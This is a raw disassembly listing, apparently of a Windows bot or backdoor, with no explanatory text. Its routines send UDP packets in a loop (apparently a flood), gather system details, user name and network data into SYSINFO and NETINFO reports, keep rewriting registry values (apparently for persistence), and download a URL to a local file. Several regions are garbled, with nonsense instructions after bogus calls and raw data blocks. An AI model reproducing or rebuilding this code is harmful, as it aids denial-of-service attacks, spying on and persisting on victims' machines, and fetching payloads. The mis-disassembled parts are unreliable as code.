ds:dword_4307F4 ; sendto push dword ptr [ebp-28h] call ds:dword_41C058 ; Sleep dec esi jnz short loc_4077CE cmp [ebp-24h], edi jnz short loc_4077C1 call sub_410567 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call ds:dword_430794 ; ntohs mov [ebp-0Eh], ax jmp short loc_4077C1 ; --------------------------------------------------------------------------- loc_407820: ; CODE XREF: seg000:004077C9j lea eax, [ebp-0B0h] push eax lea eax, [ebp-334h] push offset dword_422954 push eax call sub_41050B add esp, 0Ch cmp [ebp-18h], edi jnz short loc_407860 push edi lea eax, [ebp-334h] push dword ptr [ebp-1Ch] push eax lea eax, [ebp-130h] push eax push dword ptr [ebp-134h] call sub_40E367 add esp, 14h loc_407860: ; CODE XREF: seg000:0040783Ej lea eax, [ebp-334h] push eax call sub_407E0E push dword ptr [ebp-20h] call sub_4102D3 pop ecx pop ecx push edi call near ptr 3D0000h stc ; =============== S U B R O U T I N E ======================================= sub_40787D proc near ; CODE XREF: sub_404EB9+74p ; sub_40799C+217p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call ds:dword_41C04C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_430AD8 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_410A8A add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_40787D endp ; =============== S U B R O U T I N E ======================================= sub_4078E6 proc near ; CODE XREF: sub_40799C+290p push ebx push esi push edi mov esi, 0F4240h loc_4078EE: ; CODE XREF: sub_4078E6+2Fj ; sub_4078E6+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call ds:dword_41C058 ; Sleep rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_412180 mov edi, edx mov ebx, eax test edi, edi ja short loc_4078EE jb short loc_40791D cmp ebx, esi ja short loc_4078EE loc_40791D: ; CODE XREF: sub_4078E6+31j push 0 push 64h push edi push ebx call sub_412100 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_407990 jb short loc_40793C cmp esi, 50h jnb short loc_407941 loc_40793C: ; CODE XREF: sub_4078E6+4Fj push 4Bh xor edx, edx pop eax loc_407941: ; CODE XREF: sub_4078E6+54j test ecx, ecx ja short loc_407990 jb short loc_40794C cmp esi, 47h jnb short loc_407951 loc_40794C: ; CODE XREF: sub_4078E6+5Fj push 42h xor edx, edx pop eax loc_407951: ; CODE XREF: sub_4078E6+64j test ecx, ecx ja short loc_407990 jb short loc_40795C cmp esi, 37h jnb short loc_407961 loc_40795C: ; CODE XREF: sub_4078E6+6Fj push 32h xor edx, edx pop eax loc_407961: ; CODE XREF: sub_4078E6+74j test ecx, ecx ja short loc_407990 jb short loc_40796C cmp esi, 26h jnb short loc_407971 loc_40796C: ; CODE XREF: sub_4078E6+7Fj push 21h xor edx, edx pop eax loc_407971: ; CODE XREF: sub_4078E6+84j test ecx, ecx ja short loc_407990 jb short loc_40797C cmp esi, 1Eh jnb short loc_407981 loc_40797C: ; CODE XREF: sub_4078E6+8Fj push 19h xor edx, edx pop eax loc_407981: ; CODE XREF: sub_4078E6+94j test ecx, ecx ja short loc_407990 jb short loc_40798C cmp esi, 0Ah jnb short loc_407990 loc_40798C: ; CODE XREF: sub_4078E6+9Fj xor eax, eax xor edx, edx loc_407990: ; CODE XREF: sub_4078E6+4Dj ; sub_4078E6+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_4078E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40799C proc near ; CODE XREF: seg000:0040DC69p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_42F3E8 mov [ebp+var_CC], 94h call ds:dword_41C0EC ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_407A23 cmp [ebp+var_C4], ebx jnz short loc_4079FF cmp [ebp+var_BC], 1 jnz short loc_4079E9 mov [ebp+var_4], offset a95 ; "95" loc_4079E9: ; CODE XREF: sub_40799C+44j cmp [ebp+var_BC], 2 jnz loc_407A9E mov [ebp+var_4], offset aNt ; "NT" jmp short loc_407A6F ; --------------------------------------------------------------------------- loc_4079FF: ; CODE XREF: sub_40799C+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_407A11 mov [ebp+var_4], offset a98 ; "98" jmp short loc_407A66 ; --------------------------------------------------------------------------- loc_407A11: ; CODE XREF: sub_40799C+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_407A5F mov [ebp+var_4], offset aMe ; "ME" jmp short loc_407A66 ; --------------------------------------------------------------------------- loc_407A23: ; CODE XREF: sub_40799C+33j cmp [ebp+var_C8], 5 jnz short loc_407A5F cmp [ebp+var_C4], ebx jnz short loc_407A3D mov [ebp+var_4], offset a2k ; "2K" jmp short loc_407A66 ; --------------------------------------------------------------------------- loc_407A3D: ; CODE XREF: sub_40799C+96j cmp [ebp+var_C4], 1 jnz short loc_407A4F mov [ebp+var_4], offset aXp ; "XP" jmp short loc_407A66 ; --------------------------------------------------------------------------- loc_407A4F: ; CODE XREF: sub_40799C+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_407A66 loc_407A5F: ; CODE XREF: sub_40799C+7Cj ; sub_40799C+8Ej mov [ebp+var_4], offset dword_422AE4 loc_407A66: ; CODE XREF: sub_40799C+73j ; sub_40799C+85j ... cmp [ebp+var_BC], 2 jnz short loc_407A9E loc_407A6F: ; CODE XREF: sub_40799C+61j cmp [ebp+var_B8], bl jz short loc_407A9E lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_422ADC push eax call sub_41050B lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_407A9E: ; CODE XREF: sub_40799C+54j ; sub_40799C+D1j ... mov ax, ds:word_422AD8 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, ds:dword_430690 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_407AD7 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_407AD7: ; CODE XREF: sub_40799C+12Cj push [ebp+arg_4] call sub_407435 pop ecx push eax call ds:dword_4307D0 ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call ds:dword_430750 ; gethostbyaddr cmp eax, ebx jz short loc_407B00 push dword ptr [eax] jmp short loc_407B05 ; --------------------------------------------------------------------------- loc_407B00: ; CODE XREF: sub_40799C+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_407B05: ; CODE XREF: sub_40799C+162j lea eax, [ebp+var_3E4] push eax call sub_41050B pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call near ptr 3D0000h xchg eax, edx lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call near ptr 3D0000h insd lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 3D0000h fldcw word ptr [edx+20h] lea eax, [ebp+var_38] push ebx push eax call sub_410590 add esp, 0Ch lea eax, [ebp+var_38] push eax call near ptr 3D0000h loope near ptr loc_407BC3+2 push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_4121E8 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_40878B push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40787D add esp, 20h push eax lea eax, [ebp+var_15C] push eax loc_407BC3: ; CODE XREF: sub_40799C+1D4j lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_407435 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40867B pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40867B pop ecx pop ecx push eax call sub_4078E6 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_410A8A mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40799C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C50 proc near ; CODE XREF: seg000:0040CE6Fp ; seg000:0040DC97p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_410590 add esp, 0Ch cmp ds:dword_430878, 0 jnz short loc_407CC4 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call ds:dword_430678 ; InternetGetConnectedStateExA test eax, eax jnz short loc_407CA5 lea eax, [ebp+var_8C] push offset dword_422B58 push eax call sub_41050B pop ecx pop ecx loc_407CA5: ; CODE XREF: sub_407C50+40j test [ebp+var_C], 1 jz short loc_407CBD push offset dword_422B50 loc_407CB0: ; CODE XREF: sub_407C50+72j lea eax, [ebp+var_8] push eax call sub_41050B pop ecx pop ecx jmp short loc_407CE3 ; --------------------------------------------------------------------------- loc_407CBD: ; CODE XREF: sub_407C50+59j push offset dword_422B4C jmp short loc_407CB0 ; --------------------------------------------------------------------------- loc_407CC4: ; CODE XREF: sub_407C50+28j mov esi, offset off_422B48 lea eax, [ebp+var_8] push esi push eax call sub_41050B lea eax, [ebp+var_8C] push esi push eax call sub_41050B add esp, 10h loc_407CE3: ; CODE XREF: sub_407C50+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_407435 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_410A8A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_407C50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D16 proc near ; CODE XREF: seg000:0040CDA2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_434B58 mov edi, 0B8h loc_407D2A: ; CODE XREF: sub_407D16+33j cmp byte ptr [esi], 0 jz short loc_407D4D push [ebp+arg_0] push esi call sub_410930 pop ecx test eax, eax pop ecx jz short loc_407D4D inc [ebp+var_4] add esi, edi cmp esi, offset dword_4356D8 jl short loc_407D2A jmp short loc_407D8F ; --------------------------------------------------------------------------- loc_407D4D: ; CODE XREF: sub_407D16+17j ; sub_407D16+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_434B58[esi] push ebx call sub_410590 push 17h push [ebp+arg_0] push ebx call sub_411D00 push 9Fh lea eax, dword_434B70[esi] push [ebp+arg_4] push eax call sub_411D00 add esp, 24h inc ds:dword_42561C pop ebx loc_407D8F: ; CODE XREF: sub_407D16+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_407D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D96 proc near ; CODE XREF: seg000:0040DDD8p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_422B74 push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 14h xor edi, edi mov esi, offset dword_434B58 loc_407DC0: ; CODE XREF: sub_407D96+72j cmp byte ptr [esi], 0 jz short loc_407DFB lea eax, [esi+18h] push eax push esi push edi push offset dword_422B68 lea eax, [ebp+var_200] push 200h push eax call sub_410A8A push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 2Ch loc_407DFB: ; CODE XREF: sub_407D96+2Dj add esi, 0B8h inc edi cmp esi, offset dword_4356D8 jl short loc_407DC0 pop edi pop esi leave retn sub_407D96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E0E proc near ; CODE XREF: start+97p ; seg000:004014CCp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call ds:dword_41C000 ; GetLocalTime mov ebx, offset dword_434B10 mov edi, 80h mov esi, offset dword_430B10 loc_407E30: ; CODE XREF: sub_407E0E+3Dj cmp byte ptr [ebx], 0 jz short loc_407E47 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_411D00 add esp, 0Ch loc_407E47: ; CODE XREF: sub_407E0E+25j sub ebx, edi cmp ebx, esi jge short loc_407E30 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_410A8A add esp, 28h pop edi pop esi pop ebx leave retn sub_407E0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E82 proc near ; CODE XREF: sub_405982+15Bp ; sub_405B0A+1AFp ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41232F lea eax, [ebp+var_80] push eax call sub_407E0E add esp, 14h leave retn sub_407E82 endp ; =============== S U B R O U T I N E ======================================= sub_407EAE proc near ; CODE XREF: seg000:0040DCCFp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_430B10 xor ecx, ecx loc_407EB5: ; CODE XREF: sub_407EAE+13j mov [eax], cl add eax, 80h cmp eax, offset dword_434B10 jl short loc_407EB5 cmp [esp+arg_C], ecx push esi mov esi, offset dword_422BA8 jnz short loc_407EE5 push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_40E367 add esp, 14h loc_407EE5: ; CODE XREF: sub_407EAE+1Fj push esi call sub_407E0E pop ecx pop esi retn sub_407EAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407EEE proc near ; DATA XREF: seg000:0040DD82o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_407F41 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_422C10 push eax push [ebp+var_11C] call sub_40E367 add esp, 14h loc_407F41: ; CODE XREF: sub_407EEE+33j cmp [ebp+var_98], 0 jz short loc_407F61 lea eax, [ebp+var_98] push eax call sub_410A7F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_407F61 mov [ebp+var_8], eax loc_407F61: ; CODE XREF: sub_407EEE+5Aj ; sub_407EEE+6Ej and [ebp+arg_0], 0 mov esi, offset dword_430B10 loc_407F6A: ; CODE XREF: sub_407EEE+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_407FC4 cmp byte ptr [esi], 0 jz short loc_407FB3 cmp [ebp+var_98], 0 jz short loc_407F99 cmp [ebp+var_4], 0 jnz short loc_407F99 lea eax, [ebp+var_98] push eax push esi call sub_406E06 pop ecx test eax, eax pop ecx jz short loc_407FB3 loc_407F99: ; CODE XREF: sub_407EEE+90j ; sub_407EEE+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_40E367 add esp, 14h loc_407FB3: ; CODE XREF: sub_407EEE+87j ; sub_407EEE+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_434B10 jl short loc_407F6A loc_407FC4: ; CODE XREF: sub_407EEE+82j lea eax, [ebp+var_31C] push offset dword_422BE0 push eax call sub_41050B xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_407FFE push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_40E367 add esp, 14h loc_407FFE: ; CODE XREF: sub_407EEE+EEj lea eax, [ebp+var_31C] push eax call sub_407E0E push [ebp+var_18] call sub_4102D3 pop ecx pop ecx push esi call near ptr 3D0000h pushf pop edi pop esi sub_407EEE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40801D proc near ; CODE XREF: seg000:004070F7p ; seg000:00408091p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_422C40 xor esi, esi mov ebx, offset dword_423088 loc_408030: ; CODE XREF: sub_40801D+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call ds:dword_43074C ; RegCreateKeyExA cmp [ebp+arg_0], esi jz short loc_40806A push [ebp+arg_0] call sub_410B60 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call ds:dword_4307B8 ; RegSetValueExA jmp short loc_408074 ; --------------------------------------------------------------------------- loc_40806A: ; CODE XREF: sub_40801D+2Fj push ebx push [ebp+var_4] call ds:dword_43070C ; RegDeleteValueA loc_408074: ; CODE XREF: sub_40801D+4Bj push [ebp+var_4] call ds:dword_430770 ; RegCloseKey add edi, 8 cmp edi, offset unk_422C58 jl short loc_408030 pop edi pop esi pop ebx leave retn sub_40801D endp ; --------------------------------------------------------------------------- loc_40808D: ; CODE XREF: seg000:004080A3j ; DATA XREF: sub_4089FD+52Fo push dword ptr [esp+4] call sub_40801D pop ecx push ds:dword_422C38 call ds:dword_41C058 ; Sleep jmp short loc_40808D ; =============== S U B R O U T I N E ======================================= sub_4080A5 proc near ; CODE XREF: seg000:00408136p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4080DA push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_4080BE: ; CODE XREF: sub_4080A5+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, ds:dword_41C23C[eax*4] xor esi, eax inc edx dec edi jnz short loc_4080BE pop edi pop ebx loc_4080DA: ; CODE XREF: sub_4080A5+Ej mov eax, esi pop esi not eax retn sub_4080A5 endp ; --------------------------------------------------------------------------- push ebx push esi xor ebx, ebx push edi push ebx call sub_410C0F mov dword ptr [esp], offset aRb ; "rb" push dword ptr [esp+14h] mov esi, eax call sub_411B4E mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40812F loc_408105: ; CODE XREF: seg000:0040812Dj test byte ptr [edi+0Ch], 10h jnz short loc_408133 inc ebx push ebx push esi call sub_41237F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40812F push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_411A46 add esp, 10h jmp short loc_408105 ; --------------------------------------------------------------------------- loc_40812F: ; CODE XREF: seg000:00408103j ; seg000:00408119j xor eax, eax jmp short loc_40814E ; --------------------------------------------------------------------------- loc_408133: ; CODE XREF: seg000:00408109j dec ebx push ebx push esi call sub_4080A5 push esi mov ebx, eax call sub_410C83 push edi call sub_4119F0 add esp, 10h mov eax, ebx loc_40814E: ; CODE XREF: seg000:00408131j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_408152: ; DATA XREF: seg000:0040C1DDo ; seg000:0040C851o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push ds:dword_430748 call ds:dword_4306B4 ; InternetOpenUrlA cmp eax, esi mov [ebp-18h], eax jz loc_4085DE push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax call ds:dword_41C078 ; CreateFileA cmp eax, edi ; CODE XREF: seg000:0040822Bj mov [ebp-20h], eax jnb short near ptr loc_408218+1 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_422ED0 push eax call sub_41050B add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4081FC push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_40E367 add esp, 14h loc_4081FC: ; CODE XREF: seg000:004081DAj lea eax, [ebp-510h] push eax call sub_407E0E push dword ptr [ebp-48h] call sub_4102D3 pop ecx pop ecx push esi call near ptr 3D0000h loc_408218: ; CODE XREF: seg000:004081BAj mov al, ds:15FFFF33h dec esp rol byte ptr [ecx+0], 0BBh add al, dl pop es add [ecx-17AC03BBh], cl loopne near ptr loc_4081B5+1 ; --------------------------------------------------------------------------- db 2 dup(0), 59h dd 68E44589h, 200h, 0FAF0858Dh, 5056FFFFh, 834BE8h, 0CC48300h dd 5008458Dh, 0FAF0858Dh, 68FFFFh, 50000002h, 0FFE875FFh dd 4306BC15h, 0CC753900h, 75FF1174h, 0F0858D08h, 50FFFFFAh dd 3CFE8h, 8D595900h, 5056DC45h, 0FAF0858Dh, 75FFFFFFh dd 75FF5008h, 7D72E8E0h, 3B8DFFFCh, 8B2273FBh, 3BC72BC3h dd 3760845h, 5008458Bh, 0FAF0858Dh, 8B50FFFFh, 0C703E445h dd 833EE850h, 0C4830000h, 87D030Ch, 74C47539h, 0C47D3B05h dd 7D834A77h, 0C78B01BCh, 0E8C11274h, 858D500Ah, 0FFFFFDB8h dd 2E846850h, 10EB0042h, 500AE8C1h, 0FDB8858Dh, 6850FFFFh dd 422E40h, 69B8458Bh, 234C0h, 56D80500h, 0E8500043h, 820Bh dd 3910C483h, 870F0875h, 0FFFFFF27h, 0C7C47539h, 1EC45h dd 49740000h, 74C47D3Bh, 0C475FF44h, 0FAF0858Dh, 7589FFFFh dd 0F86857ECh, 5000422Dh, 81D6E8h, 858D5600h, 0FFFFFAF0h dd 50D475FFh, 0FD38858Dh, 0FF50FFFFh, 0FFFD34B5h, 6015E8FFh dd 858D0000h, 0FFFFFAF0h, 0FAB0E850h, 0C483FFFFh, 4C15FF28h dd 2B0041C0h, 0D233FC45h, 3E8B9h, 0E075FF00h, 0D233F1F7h dd 0C78BC88Bh, 8BF1F741h, 7015FFD8h, 0FF0041C0h, 0F4E8E475h dd 39000088h, 7459C875h, 0B8858D56h, 50FFFFFEh, 0FFFD3FE8h dd 0C8453BFFh, 0FF447459h, 7589C875h, 858D50ECh, 0FFFFFAF0h dd 422DBC68h, 4CE85000h, 56000081h, 0FAF0858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFD38h, 34B5FF50h, 0E8FFFFFDh, 5F8Bh dd 0FAF0858Dh, 0E850FFFFh, 0FFFFFA26h, 3928C483h, 840FEC75h dd 237h, 1BC7D83h, 0E8840Fh, 5D890000h, 0FC7589F8h, 51F86DDFh dd 0F87D8951h, 0DCFC7589h, 41C6400Dh, 0B8858D00h, 0DDFFFFFEh dd 6DDF241Ch, 515150F8h, 0FAF0858Dh, 0DDCFFFFh, 41C640h dd 68241CDDh, 422D70h, 80CDE850h, 0C4830000h, 0D075391Ch dd 8D562075h, 0FFFAF085h, 0D475FFFFh, 38858D50h, 50FFFFFDh dd 0FD34B5FFh, 4E8FFFFh, 8300005Fh, 858D14C4h, 0FFFFFAF0h dd 0F99CE850h, 7D83FFFFh, 0F5901C0h, 1AE85h, 56056A00h dd 0FEB8858Dh, 5056FFFFh, 422D6868h, 15FF5600h, 430714h dd 0FD07539h, 18E85h, 0B8858D00h, 50FFFFFEh, 0FAF0858Dh dd 3868FFFFh, 5000422Dh, 8056E8h, 858D5600h, 0FFFFFAF0h dd 50D475FFh, 0FD38858Dh, 0FF50FFFFh, 0FFFD34B5h, 5E95E8FFh dd 858D0000h, 0FFFFFAF0h, 0F930E850h, 0C483FFFFh, 145E924h dd 5D890000h, 0FC7589F8h, 51F86DDFh, 0F87D8951h, 0DCFC7589h dd 41C6400Dh, 0B8858D00h, 0DDFFFFFEh, 6DDF241Ch, 515150F8h dd 0FAF0858Dh, 0DDCFFFFh, 41C640h, 68241CDDh, 422CE4h dd 7FE5E850h, 0C4830000h, 0D075391Ch, 8D562075h, 0FFFAF085h dd 0D475FFFFh, 38858D50h, 50FFFFFDh, 0FD34B5FFh, 1CE8FFFFh dd 8300005Eh, 858D14C4h, 0FFFFFAF0h, 0F8B4E850h, 106AFFFFh dd 56F0458Dh, 802AE850h, 446A0000h, 0FCF0858Dh, 575FFFFFh dd 19E85056h, 83000080h, 0BD891CC4h, 0FFFFFCF0h, 0C7F0458Dh dd 0FFFCFC85h, 42F3E8FFh, 66016A00h, 0FD20B589h, 505FFFFFh dd 0FCF0858Dh, 5650FFFFh, 56286A56h, 0B8858D56h, 56FFFFFEh dd 0BD895650h, 0FFFFFD1Ch, 0FC7A47E8h, 0C73B42FFh, 15FF1275h dd 430700h, 0FFEB10E8h, 15FF56FFh, 41C0F8h, 0FEB8858Dh dd 6850FFFFh, 422C98h ; --------------------------------------------------------------------------- jmp short loc_4085EA ; --------------------------------------------------------------------------- loc_4085DE: ; CODE XREF: seg000:00408197j lea eax, [ebp-248h] push eax push offset unk_422C58 loc_4085EA: ; CODE XREF: seg000:004085DCj lea eax, [ebp-510h] push eax call sub_41050B add esp, 0Ch cmp [ebp-30h], esi jnz short loc_40861E push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_40E367 add esp, 14h loc_40861E: ; CODE XREF: seg000:004085FCj lea eax, [ebp-510h] push eax call sub_407E0E pop ecx push dword ptr [ebp-18h] call ds:dword_4307C4 ; InternetCloseHandle push dword ptr [ebp-48h] call sub_4102D3 pop ecx push esi call near ptr 3D0000h retf ; --------------------------------------------------------------------------- mov eax, [esp+4] xor ecx, ecx cmp [esp+8], ecx jle short locret_408660 loc_408650: ; CODE XREF: seg000:0040865Ej mov dl, ds:byte_42300C xor [ecx+eax], dl inc ecx cmp ecx, [esp+8] jl short loc_408650 locret_408660: ; CODE XREF: seg000:0040864Ej retn ; =============== S U B R O U T I N E ======================================= sub_408661 proc near ; CODE XREF: seg000:0040B421p ; seg000:0040B580p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41249F pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_408661 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40867B proc near ; CODE XREF: sub_404134+45Dp ; sub_404134+5F9p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_434B14 push 0 push edi call sub_410590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_4086A0: ; CODE XREF: sub_40867B+5Bj ; sub_40867B+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_412100 push 0 